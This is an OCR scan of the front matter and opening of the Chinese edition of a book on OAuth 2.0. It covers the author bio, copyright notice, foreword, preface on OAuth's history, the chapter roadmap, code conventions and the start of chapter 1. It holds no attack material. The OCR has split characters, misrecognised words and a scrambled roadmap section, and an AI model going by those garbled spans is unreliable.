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系统 架构 师 、 软 件 工程 师 ，OAuth 工 作 组 
重要 成 员 ， 深 度 参与 了 OAuth 2 核心 规范 的 
制定 ， 任 多 个 扩展 规范 的 技术 编辑 ， 并 领导 
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图 灵 社 区 的 电子 书 没有 采用 专 有 客 
户 端 ， 您 可 以 在 任意 设备 上 ， 用 自 
己 喜 欢 的 浏览 器 和 PDF 阅读 器 进行 
阅读 。 

但 您 购买 的 电子 书 仅 供 您 个 人 使 用 ， 
未 经 授权 ， 不 得 进行 传播 。 

我 们 愿意 相信 读者 具有 这 样 的 良知 
和 觉悟 ， 与 我 们 共同 保护 知识 产权 。 


如 果 购 买 者 有 侵权 行为 ， 我 们 可 能 
对 该 用 户 实 施 包括 但 不 限于 关闭 该 
帐号 等 维权 措施 ， 并 可 能 追究 法 律 
责任 。 
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内 容 提 要 


本 书 深入 探讨 OAuth 的 运行 机 制 ， 详 细 介 绍 如 何在 不 安全 的 网 络 环境 下 正确 使 用 、 部 署 OAuth， 确 保 
安全 认证 ， 是 目前 关于 OAuth 最 全 面 深 入 的 参考 资料 。 书 中 内 容 分 为 四 大 部 分 ， 分 别 概述 OAuth 2.0 协议 ， 
如 何 构建 一 个 完整 的 OAuth 2.0 生态 系统 ，OAuth 2.0 生态 系统 中 各 个 部 分 可 能 出 现 的 漏洞 及 其 如 何 规避 ， 
以 及 更 外 围 生态 系统 中 的 标准 和 规范 。 

本 书 适 合 所 有 想 了 解 OAuth 工作 原理 及 其 应 用 的 读者 。 
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没有 什么 比 一 片 空白 更 让 人 旦 惧 了 ， 它 盯 着 你 ， 你 却 一 筹 莫 展 。 

你 并 不 是 不 知道 要 做 什么 , 相反 ,你 对 自己 的 构想 有 清晰 的 认识 。 你 甚至 可 以 想象 到 ， 当 老 
板 和 客户 见 到 你 的 杰作 时 脸 上 露出 的 满意 笑容 。 但 问题 是 ， 你 的 面前 是 一 片 空白 。 

所 以 , 你 伸手 去 拿 工 具 。 鉴 于 你 正在 阅读 这 本 书 ， 你 很 可 能 是 一 名 开发 人 员 或 者 身份 认证 方 
面 的 专业 人 士 。 不 管 怎样 ， 你 都 知道 安全 是 至 关 重 要 的 ， 并 希望 自己 的 杰作 得 到 安全 保护 。 

说 到 OAuth， 你 应 该 知道 ， 它 可 以 用 于 保护 资源 ， 尤 其 是 API。 它 的 应 用 非常 广泛 ， 而 且 看 

起 来 无 所 不 能 。 问 题 恰恰 在 于 它 的 无 所 不 能 使 其 很 难 和 驾驭 。 这 又 是 一 片 空白 。 
再 说 说 这 本 书 和 两 位 合 著者 。 当 你 手中 有 一 件 无 所 不 能 的 工具 却 无 从 下 手 时 , 最 好 的 办 法 就 
是 将 它 利 用 起 来 。 这 本 书 不 仅 解释 了 OAuth 的 用 途 ， 还 会 引导 你 完成 整个 应 用 流程 。 最 终 ， 你 
不 仅 会 对 OAuth 这 一 工具 有 非常 深入 的 了 解 ， 而 且 面 前 将 不 再 是 一 片 空白 一 一 你 做 好 了 实现 头 
脑 中 伟大 构想 的 准备 。 

OAuth 是 一 个 非常 强大 的 工具 , 它 的 强大 来 自 其 灵活 性 ,灵活 性 通常 意味 着 它 不 仅 能 够 完成 
你 的 构想 ， 而 且 也 会 带 来 安全 问题 。OAnuth 管理 API 的 访问 权限 ， 守 护 着 重要 数据 ， 所 以 最 关键 
的 是 避免 反 模式 ,运用 最 佳 实践 ， 以 安全 的 方式 使 用 它 。 换 句 话说, 虽然 它 的 灵活 性 让 你 可 以 以 
任何 方式 使 用 和 部 署 它 ， 但 并 不 意味 着 你 应 该 那样 随意 。 

关于 OAuth， 还 有 一 件 要 提 到 的 事情 一 一 你 不 是 为 了 用 OAuth 而 去 用 它 。 你 是 想 用 它 来 做 

些 别 的 事情 一 一 很 可 能 是 要 将 一 组 API 调用 精心 组 合 起 来 ， 以 实现 一 个 绝妙 的 点 子 。 你 或 许 
正在 头脑 中 勾勒 一 幅 完整 图 景 ， 正 思考 如 何 实现 自己 的 杰作 。OAuth 可 以 帮助 你 以 更 安全 的 方 
式 实现 它 。 

境 运 的 是 ,两 位 合 著者 提供 了 一 份 实用 指南 ,告诉 我 们 什么 该 做 ,什么 不 该 做 。 他 们 让 你 一 
第 双 有 雕 ， 同 时 实现 “我 想 搞定 这 件 事 情 ” 和 “我 想 确认 这 样 做 是 安全 的 ”两 种 想法 。 

随 着 空白 被 填补 ， 你 最 终 会 实现 自己 的 杰作 并 交 到 客户 手中 ， 同 时 意识 到 这 项 工作 其 实 并 
不 难 。 
































































































































































































































Ian Glazer 
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RÆ Justin Richer， 日 常 主要 从 事 顾问 工作 ， 虽 然 假 装 自己 是 个 安全 怪 咖 ， 但 我 并 不 是 科班 
出 身 。 我 的 专业 背景 是 协作 技术 ,主要 研究 如 何 让 人 们 借助 计算 机 协同 工作 。 即 便 如 此 ,我 也 早 
就 开始 使 用 OAuth 了。 我 用 先前 的 OAuth 1.0 实现 了 好 几 个 服务 器 和 客户 端 ， 将 它们 用 在 我 当时 
开发 的 协作 系统 中 。 正 是 从 那个 时 候 我 开始 体会 到 , 如果 应 用 架构 想 要 在 真实 环境 中 立 于 不 败 之 
地 ,那么 一 个 优良 的 、 易 实施 的 、 易 用 的 安全 系统 便 不 可 或 缺 。 大 约 也 是 在 那个 时 候 ， 我 参加 了 
早期 的 Internet Identity Workshop 会 议 。 在 会 议 上 大 家 讨论 了 下 一 代 OAuth, 决定 将 OAuth 1.0 在 
实际 应 用 中 的 经 验 教 训 作 为 下 一 代 OAuth 的 构建 基础 。 在 互联 网 工程 任务 组 (IETF ) 开始 开发 
OAuth 2.0 时 ， 我 加 入 了 这 个 小 组 并 首次 深度 参与 了 讨论 。 几 年 之 后 ， 我 们 将 规范 制定 了 出 来 。 
虽然 称 不 上 完美 ,但 它 表 现 得 很 不 错 ， 人 们 对 它 青睐 有 加 。 

我 一 直 留 在 OAuth 工作 组 中 ， 并 担任 了 Dynamic Registration (RFC 7591 和 RFC 7592 ) 和 
Token Introspection ( RFC 7662 ) 这 两 个 OAuth 扩展 规范 的 编辑 。 如 今 ， 我 是 OAuth Proof of 
Possession ( PoP ) 这 一 套 规范 的 编辑 以 及 其 中 某 些 部 分 的 作者 ， 还 担任 了 多 个 OAuth 配置 规范 
(profile )、 扩 展 以 及 相关 协议 的 技术 编辑 。 我 还 参与 制定 了 OpenID Connect 核心 规范 ， 并 和 我 的 
队 一 起 实现 了 广 受 好 评 的 MITREid Connect, 它 是 基于 OAuth 和 OpenID Connect 的 服务 端 与 客 
户 端 套件 。 我 突然 发 现 ， 自 己 在 向 许多 不 同 的 受众 谈论 OAuth 2.0， 并 在 各 种 各 样 的 系统 上 实现 
它 。 我 教 过 课 ， 做 过 演讲 ， 还 写 过 一 些 关 于 OAuth 2.0 的 文章 。 

所 以 ， 当 Antonio Sanso 一 一 一 位 受 人 尊敬 的 安全 研究 者 一 一 邀请 我 合 著 本 书 的 时 候 ， 我 们 

拍 即 合 。 在 搜寻 了 市 面 上 有 哪些 关于 OAuth 2.0 的 书 之 后 ， 我 们 发 现 一 本 喜欢 的 都 没有 。 我 们 找 
到 的 大 部 分 书 都 是 针对 具体 服务 的 , 例如 ， 如 何 写 一 个 能 和 Facebook 或 Google 交互 的 OAuth 客户 
端 ， 或 者 如 何 使 用 GitHub API 对 本 地 应 用 授权 。 如 果 你 所 关心 的 只 是 这 方面 的 内 容 ， 那 资料 真是 
相当 丰富 。 但 我 们 没有 看 到 有 哪 本 书 向 读者 介绍 整个 OAuth 系统 ， 解 释 其 工作 原理 ， 指 出 其 弱点 、 
局 限 性 以 及 优势 。 我们 决定 要 以 全 方位 的 视角 来 写 这 样 一 本 书 , 并 且 力 求 完美 。 因 此 , 本 书 不 会 涉 
及 任何 与 现实 中 特定 OAuth 服务 商 的 交互 ， 也 不 会 详细 讨论 特定 的 API 或 行业 领域 。 相 反 ， 本 书 
的 焦点 在 于 OAuth 本 身 的 原理 ,希望 让 读者 看 到 : 当 曲 顶 转 动 时 ， 每 一 个 齿轮 是 如 何 哺 合 的 。 

我 们 构建 了 一 个 代码 框架 ,希望 读者 将 注意 力 集中 在 OAuth 的 核心 部 分 ， 而 不 要 过 度 地 陷 
人 平台 实现 的 细节 。 毕 竟 ， 这 不 是 一 本 教 读者 “如 何在 最 新 的 平台 上 实现 OAuth” 的 书 , 而 是 想 
以 本 书 “讲解 OAuth 2.0 的 工作 原理 并 让 读者 能 在 任何 平台 上 使 用 它 ”。 所 以 , 我 们 基于 Express.js 
构建 了 一 个 相对 简易 的 Node.js 框架 。 为 了 尽 可 能 地 消除 平台 特异 性 ， 我 们 大 量 使 用 了 库 。 尺 管 
如 此 ，JavaScript 还 是 JavaScript， 有 些 特异 之 处 仍然 会 不 时 出 现 ， 任 何平 台 都 会 这 样 。 但 我 们 希 




















































































































































































































望 ， 读 者 能 将 本 书 所 用 的 方法 和 理论 应 用 到 自己 所 喜爱 的 语言 、 平 台 和 架构 中 去 。 

回顾 历史 ， 我 们 是 如 何 走 到 现在 的 ?” 故事 开始 于 2006 年 ， 当 时 包括 Twitter 和 Ma.Gnolia 在 
内 的 很 多 Web 服务 公司 ， 都 有 很 多 应 用 是 互通 的 ， 他 们 希望 能 让 用 户 将 这 些 应 用 统一 地 连接 起 
来 。 当 时 ， 此 类 连接 都 是 通过 在 远程 服务 器 上 向 用 户 索 要 凭据 并 将 凭据 传送 到 API 上 来 实现 的 。 
然而 ， 为 方便 登录 ， 这 些 网 站 都 使 用 了 一 项 分 布 式 身 份 认证 技术 一 一 OpenID。 这 就 导致 无 法 将 
用 户 名 和 密码 用 于 API 

为 了 解决 这 个 问题 , 开发 人 员 试 图 发 明 一 个 协议 , 允许 用 户 将 API 访 问 授权 出 去 。 新 的 协议 
基于 多 个 具有 同样 思想 的 专 有 实现 , 包括 Google 的 AuthSub 以 及 Yahoo! 的 BBAuth, 在 这 些 实现 
中 ,客户 端 应 用 只 要 获得 用 户 的 授权 并 得 到 一 个 令 牌 ， 就 能 使 用 这 个 令 牌 访问 远程 API。 这 些 令 
牌 的 发 放 都 包含 公共 和 私有 的 部 分 , 并 且 该 协议 使 用 了 一 种 新 型 的 (现在 看 来 是 脆弱 的 ) 加 密 签 
名 机 制 ， 使 得 它 可 以 在 非 TLS HTTP 连接 上 使 用 。 他 们 称 这 个 协议 为 OAuth 1.0， 并 将 其 作为 一 
项 Web 开放 标准 发 布 。 它 很 快 就 获得 响应 ， 出 现 了 多 种 语言 对 这 一 标准 的 自由 实现 。 这 一 标准 
表现 优秀 , 深 受 开发 人 员 喜 爱 ， 甚 至 一 些 大 型 互联 网 公司 也 很 快 弃 用 了 自己 的 专 有 机 制 , 起 初 正 
是 这 些 专 有 机 制 启发 了 OAuth, 

和 许多 新 的 安全 协议 一 样 ，OAuth 1.0 在 早期 就 被 发 现 有 一 个 缺陷 。 为 了 修复 这 个 会 话 固化 漏 
洞 ，OAuth 1.0a 诞 生 了 。 这 个 版 本 后 来 作为 REFC 5849 被 编 人 了 IETF。 在 那个 时 候 ，OAuth 协议 的 
社区 开始 成 长 ， 新 的 用 例 被 开发 和 实现 。 其 中 一 些 用 例 将 OAuth 用 在 了 其 原本 并 未 有 意 适 用 的 场 
景 ,但 这 些 对 OAuth 的 非常 规 使 用 也 比 现 有 的 其 他 可 用 方案 表现 得 更 好 。 然 而 ，OAuth 1.0 只 是 一 
个 单 体 协 议 , 意图 以 不 变 应 万 变 , 用 同一 种 机 制 来 应 对 所 有 场景 , 在 有 些 场景 下 使 用 它 是 有 风险 的 。 

RFC 5849 发 布 后 不 久 ，Web Resource Access Protocol (WRAP ) 就 发 布 了 。 这 份 协议 采用 了 
OAuth 1.0a 的 核心 一 一 客户 端 、 委 托 、 令 牌 一 一 并 对 它们 进行 了 扩展 ， 以 适应 不 同 的 需求 。WRAP 
废除 了 OAuth 1.0 中 很 多 令 人 困惑 和 容易 出 问题 的 部 分 ， 比 如 自 定义 签名 算法 机 制 。 经 过 社区 的 多 
次 讨论 ，WRAP 被 确定 为 新 的 OAuth 2.0 协议 的 基础 。OAuth 1.0 是 单 体 的 ， 而 OAuth 2.0 是 模块 化 
的 。OAuth 2.0 的 模块 化 使 其 成 为 了 一 个 框架 , 能 够 部 署 和 运用 在 OAuth 1.0 已 经 实践 过 的 所 有 场景 
中 ， 但 并 不 会 让 协议 的 核心 内 容 发 生 扭 曲 。 本 质 上 来 说 ，OAuth 2.0 在 基础 层面 提供 了 设计 规范 。 

2012 4E, IETF 批准 了 OAuth 2.0 核心 规范 ， 但 是 留 给 社区 的 工作 还 远 未 完成 。 规 范 被 模块 
化 地 分 成 互补 的 两 个 部 分 : RFC 6749 详细 说 明了 如 何 获取 令 牌 ，RFC 6750 则 详细 说 明了 如 何在 
受 保护 的 资源 上 使 用 一 种 特定 类 型 的 令 牌 (bearer 令 牌 )。 另 外 ，RFC 6749 的 核心 部 分 还 详细 阐 
明了 多 种 获取 令 牌 的 方式 ， 并 提供 了 一 种 扩展 机 制 。OAuth 2.0 定义 了 A 种 许可 类 型 ， 分 别 适 用 
于 不 同 的 应 用 类 型 ， 而 不 是 单单 定义 一 种 复杂 的 方法 来 适应 不 同 的 部 署 模型 。 

WS, OAuth 2.0 已 经 是 互联 网 上 首选 的 授权 协议 。 它 被 广泛 使 用 ， 从 大 型 互联 网 公司 到 小 
型 创业 公司 ， 几 乎 所 有 的 地 方 都 在 使 用 它 。 由 基于 OAuth 2.0 构建 的 扩展 、 配 置 规范 和 完整 协议 
组 成 的 生态 系统 已 经 出 现 ， 人 们 也 不 断 探 索 出 对 这 一 基础 技术 更 多 新 笑 、 有 趣 的 应 用 方式 。 本 书 
的 目标 是 帮助 读者 不 仅 理 解 OAuth 2.0 是 什么 以 及 它 的 工作 原理 ， 而 且 还 要 知道 如 何以 最 佳 的 方 
式 来 用 它 解决 问题 、 构 建 系统 。 
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关于 本 书 


本 书 意 在 对 OAuth 2.0 以 及 包括 OpenID Connect 和 JOSE/JWT 在 内 的 众多 相关 技术 进行 全 面 
且 透 彻 的 探讨 。 和 希望 读者 读 完 本 书 之 后 ， 能 对 OAuth 2.0 有 深刻 的 理解 ， 明 白 它 的 工作 原理 ， 还 
知道 如 何 正 确 、 安 全 地 将 其 部 署 在 并 不 安全 的 互联 网 上 。 

本 书 的 目标 读者 可 能 使 用 过 OAuth 2.0， 或 者 至 少 听 说 过 它 ， 但 并 不 明白 其 工作 原理 。 读 者 
可 能 曾经 开发 过 一 些 OAuth 2.0 组 件 ， 比 如 与 特定 API 交互 的 客户 端 ， 但 也 对 其 他 类 型 的 客户 端 
或 者 OAuth 2.0 生态 系统 中 的 其 他 部 分 充满 好 奇 。 读 者 可 能 想 知 道 :“ 当 请 求 授权 码 时 ， 授 权 服 
务 器 到 底 做 了 些 什 么 ” ”或 者 ， 读 者 接 到 任务 要 对 一 个 API 进行 保护 ， 想 确认 OAuth 2.0 是 否 能 
处 理 这 个 任务 ， 如 果 它 可 以 ,又 应 如 何 驾 驭 它 。 也 许 读者 的 日 常 工作 是 开发 客户 端 , 但 很 想 知 道 
受 保护 的 资源 是 如 何 处 理发 送 过 去 的 令 牌 的 。 又 或 者 , 读者 正在 构建 一 个 受 保护 的 API， 但 想 知 
道 正在 与 其 打交道 的 授权 服务 器 是 如 何 正确 地 发 放 令 牌 的 。 我 们 希望 读者 了 解 OAuth 2.0 这 个 工 
具 真 正好 在 哪里 ， 并 且 能 有 效 地 运用 它 。 

我 们 假设 读者 了 解 基本 的 HTTP 工作 原理 ， 至 少 理解 TLS 加 密 链 接 的 作用 ， 若 了 解 其 原理 
细节 就 再 好 不 过 了 。 本 书 使 用 JavaScript， 但 并 不 讲解 JavaScript 的 用 法 ,我 们 会 尽量 解释 代码 所 
表达 的 抽象 概念 和 功能 本 身 ， 以 便 读 者 能 将 它 应 用 到 自己 的 平台 和 语言 上 。 


路 线 


本 书 分 为 4 个 部 分 , 总共 16 章 。 第 一 部 分 由 第 1~2 章 构成 ,概述 了 OAuth 2.0 协 议 ， 可 以 说 
是 核心 阅读 材料 。 第 二 部 分 由 第 3~6 章 构成 ， 展 示 了 如 何 构建 一 个 完整 的 OAuth 2.0 生态 系统 。 
第 三 部 分 由 第 7~10 章 构 成 , 讨论 了 OAuth 2.0 生态 系统 中 各 个 部 分 可 能 出 现 的 漏洞 , 以 及 如 何 规 
避 。 最 后 一 部 分 由 第 11~16 章 构 成 ， 这 一 部 分 跳出 OAuth 2.0 协议 的 核心 部 分 ， 探 讨 更 外 围 生态 
系统 中 的 标准 和 规范 ， 最 后 还 对 全 书 进行 了 总 结 。 

口 第 1 章 概述 了 OAuth 2.0， 讲述 了 开发 它 的 动机 ,还 介绍 了 OAuth 出 现 之 前 与 API 安全 相 
关 的 方法 。 

口 第 2 章 深 入 讲解 授权 码 许 可 类 型 , 这 是 OAuth 2.0 核心 中 最 常用 、 最 典型 的 一 种 许可 类 型 。 
口 第 3~5 章 分 别 展示 如 何 构建 简易 但 功能 完整 的 OAuth 2.0 客户 端 、 受 保护 的 资源 服务 器 ， 
以 及 授权 服务 器 。 

口 第 6 章 讨论 OAuth 2.0 协议 内 部 的 多 样 性 ,介绍 了 授权 码 之 外 的 其 他 许可 类 型 ， 还 讨论 了 
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关于 本 书 








原生 应 用 中 的 许可 类 型 。 


避免 这 些 漏洞 。 





回 ， 这 些 主题 完整 覆盖 了 令 牌 的 生命 周期 。 
口 第 12 章 介 绍 动态 客户 端 注册 ， 并 讨论 它 对 OAuth 2.0 生态 系统 的 影响 。 





Connect 构建 一 个 身份 认证 协议 。 





口 第 7-9 章 分 别 讨 论 OAuth 2.0 客户 端 、 受 保护 资源 及 授权 服务 器 中 常见 的 漏洞 ， 以 及 如 何 


OQ 第 10 章 讨 论 OAuth 2.0 中 bearer 令 牌 和 授权 码 的 弱点 ， 针 对 它们 的 攻击 ， 以 及 如 何 规避 。 
口 第 11 章 介 绍 JSON Web Token (JWT ) 及 其 所 用 的 编码 机 制 JOSE， 还 包括 令 牌 内 省 和 撤 


口 第 13 章 先 解释 为 什么 OAuth 2.0 不 是 身份 认证 协议 ， 继 而 介绍 如 何 基 于 它 使 用 OpenID 











口 第 14 章 介绍 构建 于 OAuth 2.0 之 上 的 User Managed Access (UMA ) 协议 , ZHN eA 


户 对 用 户 ( user-to-user ) 的 分 享 。 这 一 章 还 介绍 了 HEART 和 iGov 这 两 个 OAuth 2.0 配置 





规范 以 及 OpenID Connect， 以 及 这 些 协议 在 特定 行业 领域 中 是 如 何 应 用 的 。 
口 第 15 章 指出 OAuth 2.0 核 心 规范 中 的 常规 bearer 令 牌 并 不 能 满足 所 有 需求 ,并 描述 了 Pr 
of Possession ( PoP ) 令 牌 及 TLS 令 牌 绑 定 如 何 与 OAuth 2.0 协同 工作 。 











及 范围 更 广 的 社区 。 


虽然 我 们 按 这 样 的 次 序 组 织 编排 了 本 书 内 容 , 但 读者 并 非 一 定 要 按 这 样 的 顺序 阅读 。 我们 建 

















F 用 





oof 


a 第 16 章 对 全 书 进行 总 结 ， 并 指导 读 考 如何 进一步 应 用 这 些 知识 ， 还 介绍 了 相关 代码 库 以 





议 读者 先 阅读 前 两 章 , 因为 前 两 章 对 OAuth 2.0 进行 了 全 面 概述 , 并 深入 介绍 了 关键 概念 和 组 件 。 
不 过 说 实话 , 读者 可 能 在 寻找 某 些 特定 的 信息 , 所 以 可 能 会 去 阅读 客户 端 开 发 和 客户 端 弱点 的 相 
关 章 节 ， 然 后 跳 到 用 户 身 份 认证 或 者 令 牌 管理 的 章节 , 之 后 又 去 看 与 授权 服务 器 相关 的 内 容 。 
此 ， 我 们 也 试 着 确保 让 每 一 章 相 互 独立 ， 而 且 还 对 相关 内 容 的 引用 提供 了 标注 ， 以 便 读 者 查找 。 


代码 


本 书 的 代码 采用 Apache 2.0 许可 协议 开源 。 虽 然 它 们 只 是 练习 和 示例 , 但 我 们 也 鼓励 人 们 使 
重新 组 织 以 及 贡献 代码 。 像 OAuth 这 样 的 开放 标准 与 开源 界 是 息息相关 的 ， 大 家 的 贡献 对 
它们 来 说 非常 重要 。 代 码 可 以 从 GitHub ( https://github.com/oauthinaction/oauth-in-action-code/ ) 获取 ， 
我 们 鼓励 读者 对 其 分 又 、 克 隆 、 创 建 分 支 ， 甚 至 可 以 创建 拉 取 请 求 来 改进 代码 。 第 3~13 章 和 第 15 
章 提供 了 实战 代码 ， 附 录 A 对 书 中 使 用 的 框架 进行 了 介绍 ， 附 录 B 列 出 了 整理 之 后 的 代码 清单 。 
也 可 以 从 英文 版 出 版 社 网 站 (https://www.manning.com/books/oauth-2-in-action ) 下 载 本 书 代码 。 





用 、 










































































本 书 中 的 所 有 代码 都 使 用 运行 于 Node.js 平台 的 JavaScript 语言 编写 。 书 中 大 部 分 示例 者 





























b 是 


Web 应 用 , 使 用 了 Express.js 框架 以 及 其 他 的 库 。 我 们 已 经 尽 最 大 努力 让 读者 免 受 JavaScript 特异 
性 的 困扰 , 因为 本 书 的 目标 并 不 是 仅 让 读者 精通 某 一 语言 或 平台 。 如 果 读 者 曾经 使 用 过 诸如 J 
Spring 或 者 Ruby on Rails 这 样 的 Web 框架 ， 那 一 定 对 大 部 分 概念 和 思想 很 熟悉 。 此 外 ， 本 书 还 
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t 了 实用 函数 ， 并 附 有 文档 说 明 ， 用 于 执行 OAuth 协议 中 的 琐碎 功能 ， 
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比如 构造 包含 查询 参 


数 的 URL, 或 者 生成 HTTP 基本 认证 字符 串 。 关 于 本 书 所 使 用 的 代码 环境 的 更 多 细节 ， 请 参阅 


关于 本 书 3 





附录 A， 其 中 包含 一 个 简单 的 练习 ， 向 读者 展示 了 如 何 启 动 和 运行 代码 。 
还 可 以 通过 Katacoda 在 线 运 行 本 书 的 练习 ，Katacoda 是 一 个 交互 式 的 自学 网 站 。 这 些 练习 
使 用 的 代码 和 本 书 中 使 用 的 完全 相同 ， 只 是 通过 Web 提供 了 一 个 容器 化 的 运行 环境 。 


代码 约定 


本 书包 含 了 大 量 示例 源 代 码 , 它们 要 么 被 列 在 代码 清单 中 , 要 么 穿 揪 在 正文 文本 中 。 无 论 哪 
种 情况 ， 源 代码 都 以 fixed-width font like this 这 样 的 格式 呈现 ， 以 区 别 于 普通 文本 。 
有 时 候 会 以 粗 体 来 强调 代码 中 相对 于 前 一 步骤 的 变化 ， 比 如 向 当前 代码 添加 了 新 的 功能 。 

在 多 数 情况 下 ， 原 始 的 源 代 码 都 经 过 了 重新 格式 化 ; 增添 了 换行 符 并 调整 了 缩 进 ， 以 适应 图 
书页 面 上 有 限 的 空间 。 在 极 少数 情况 下 ,即使 这 样 也 还 不 够 , 还 需要 在 代码 清单 中 使 用 续 行 符号 
(四 )。 另 外 ,如果 正 文 已 对 代码 进行 描述 ， 源 代码 中 的 注释 一 般 会 被 移 除 。 很 多 代码 清单 中 附 有 
注解 ， 以 突出 重要 概念 。 


作者 在 线 


购买 了 本 书 英文 版 就 可 以 免费 访问 由 Manning 出 版 社 运营 的 私密 Web 论坛 ， 在 这 里 读者 可 
以 发 表 对 本 书 的 评论 , 可 以 提出 技术 问题 ,并 有 可 能 得 到 作者 或 者 其 他 用 户 的 帮助 。 要 访问 和 订 
阅 论坛 ， 可 以 使 用 浏览 器 打开 https://www.manning.com/books/oauth-2-in-action。 该 网 页 上 说 明了 
如 何 注册 并 进入 论坛 、 可 以 获取 哪些 帮助 以 及 论坛 行为 准则 等 。 

Manning 出 版 社 为 读者 和 作者 提供 一 个 空间 ， 让 他 们 能 够 进行 有 意义 的 交流 ,但 并 不 保证 作 
者 的 参与 程度 ， 作 者 在 论坛 中 的 贡献 都 是 自愿 的 ( 也 是 无 偿 的 )。 建 议 读者 向 作者 多 提 一 些 具有 
挑战 性 的 问题 ， 这 样 会 更 引起 他 们 的 兴趣 。 

只 要 本 书 英文 版 处 于 销售 状态 ， 作 者 在 线 论坛 以 及 上 面 的 讨论 就 会 一 直 可 访问 。 


电子 书 
扫描 如 下 二 维 码 ， 即 可 购买 本 书 电子 版 。 








































































































天 于 封面 图 片 


本 书 封面 上 的 画像 题 为 “来 自 克 罗 地 亚 达 尔 马 提 亚 扎 格 罗 维 奇 的 男子 ”。 这 张 图 片 取 自 19 世纪 
中 期 由 Nikola Arsenovic 绘制 的 克罗地亚 传统 服饰 图 集 的 复 本 ， 由 克罗地亚 斯 普 利 特 的 Ethnographic 
博物 馆 于 2003 年 出 版 。 这 些 图 片 由 斯 普 利 特 Ethnographic 博物 馆 一 位 热心 的 管理 员 提供 ， 该 博 
物 馆 位 于 公元 304 年 左右 帝国 皇帝 Diocletian 的 宫殿 遗址 ， 这 里 曾 是 中 世纪 罗马 帝国 的 中 心 。 这 
本 图 集中 有 克罗地亚 各 个 地 区 的 图 片 ， 色 彩 斑 澜 ， 并 附 有 对 当地 服饰 和 日 常生 活 的 介绍 。 

扎 格 罗维奇 是 达尔 马 提 亚 内 陆 的 一 个 小 镇 , 建 在 古老 的 中 世纪 城堡 的 遗址 上 。 封面 插 图 上 的 
人 物 穿 着 蓝 色 羊 毛 长 裤 ， 在 白色 亚麻 衬衣 的 外 面 , 披 着 一 件 宽 大 的 红色 羊毛 外 套 ， 服 饰 上 布 满 了 
该 地 区 特有 的 精致 刺绣 。 他 一 手 握 着 一 根 长 烟斗 ， 另 一 边 肩 上 挂 着 一 杆 火 枪 ， 头 戴 红 色 帽 子 ， 脚 
ZEE CER 

在 过 去 的 200 FE, 着 装 规范 和 生活 方式 都 发 生 了 变化 , 当时 地 区 之 间 的 多 样 性 已 逐渐 消失 。 
现在 ,已 经 很 难 区 分 不 同 大 陆 的 居民 ， 更 不 用 说 只 相隔 几 公里 的 不 同村 庄 或 城镇 。 也 许 , 文化 多 
样 性 已 经 转变 成 了 更 加 多 样 化 的 个 人 生活 一 一 当然 ， 是 更 加 多 样 化 和 快 节奏 的 科技 生活 。 

Manning 出 版 社 将 反映 两 个 世纪 前 各 地 区 多 彩 生活 的 插图 用 作 封 面 , 来 赞美 计算 机 行业 的 活 
力 和 创新 ， 也 通过 古老 书籍 和 图 册 中 的 图 片 带 我 们 领略 过 去 的 风土 人 情 。 
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这 一 部 分 会 让 读者 全 面 了 解 OAuth 2.0， 知 道 它 如 何 运行 ， 并 理解 它 的 工作 原理 。 首 先 介 绍 
OAuth 是 什么 ， 以 及 在 它 诞 生 之 前 人 们 是 如 何 解决 授权 问题 的 。 随 后 ， 介 绍 OAuth B JH TEES, 
并 讨论 它 如 何 融入 更 广阔 的 Web 安全 生态 系统 。 然 后 ,深入 探讨 授权 码 许 可 类 型 ， 这 是 目前 为 
止 在 OAuth 2.0 中 最 经 典 和 最 完备 的 许可 类 型 。 以 上 话题 会 为 读者 理解 本 书 其 他 部 分 打下 坚实 
的 基础 。 








OAuth 2.0 是 什么 ， 为 什么 
要 关心 它 








本 章 内 容 

口 OAuth 2.0 是 什么 

口 如 果 不 用 OAuth， 开 发 人 员 怎 么 做 
口 OAuth 的 原理 

口 OAuth 2.0 不 能 做 什么 























如 果 你 从 事 Web 软件 开发 ， 就 应 该 听 说 过 OAuth。 它 是 一 个 安全 协议 ， 用 于 保护 全 球 范围 
内 大 量 日 在 不 断 增 长 的 Web API, M Facebook, Google 等 大 型 服务 商 , 到 创业 公司 和 各 类 企业 内 
部 的 小 型 一 次 性 API 它 用 于 连接 不 同 的 网 站 , 还 支持 原生 应 用 和 移动 应 用 与 云 服务 之 间 的 连接 。 
它 是 各 领域 标准 协议 中 的 安全 层 , 覆盖 了 从 医疗 到 身份 管理 , 从 能 源 到 社交 网 络 的 广阔 应 用 领域 。 
OAuth 已 成 为 当今 Web 上 占 主导 地 位 的 安全 手段 ， 它 的 无 处 不 在 为 开发 人 员 保 护 其 应 用 铺 平 了 
道路 。 

但 是 ， 它 是 什么 ， 它 如 何 工 作 ， 为 什么 我 们 需要 它 ? 























1.1 OAuth 2.0 是 什么 


OAuth 2.0 是 一 个 授权 协议 ， 它 允许 软件 应 用 代表 《 而 不 是 充当 ) 资源 拥有 者 去 访问 资源 拥 
有 者 的 资源 。 应 用 向 资源 拥有 者 请 求 授权 ， 然 后 取得 令 牌 (token )， 并 用 它 来 访问 资源 。 这 一 切 
都 不 需要 应 用 去 充当 资源 拥有 者 的 身份 , 因为 令 牌 明确 表示 了 被 授予 的 访问 权 。 从 很 多 方面 来 说 ， 
你 可 以 把 OAuth SHAE Web 上 的 “ 泊 车 钥匙 ”。 不 是 所 有 车 都 有 泊 车 钥匙 , 但 是 对 于 有 泊 车 钥 
匙 的 车 来 说 , 把 泊 车 钥匙 交 给 泊 车 员 比 直接 交 出 常规 钥匙 更 安全 。 泊 车 钥匙 限制 泊 车 员 只 能 操作 
点 火 开 关 和 车 门 ， 而 不 能 打开 后 备 箱 和 手套 箱 。 更 高 级 的 泊 车 钥匙 还 能 限制 最 高 车 速 ,甚至 能 在 
车 辆 行使 超过 车 主 设 定 的 距离 后 强制 停车 并 向 车 主 发 出 警报 。 同 样 的 道理 , OAuth 令 牌 可 以 限制 
客户 端 只 能 执行 资源 拥有 者 授权 的 操作 。 

举 个 例子 , 假设 你 使 用 了 一 个 照片 云 存储 服务 和 一 个 云 打印 服务 , 并且 想 使 用 云 打 印 服务 来 
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打印 存放 在 云 存储 服务 上 的 照片 。 很 幸运 ,这 两 个 服务 能 够 使 用 API 来 通信 。 这 很 好 ,但 两 个 服 
务 由 不 同 的 公司 提供 , 这 意味 着 你 在 云 存 储 服 务 上 的 账户 和 在 云 打印 服务 上 的 账户 没有 关联 。 使 
用 OAuth 可 以 解决 这 个 问题 : 授权 云 打 印 服务 访问 照片 ， 但 并 不 需要 将 存储 服务 上 的 账户 密码 
交 给 它 。 

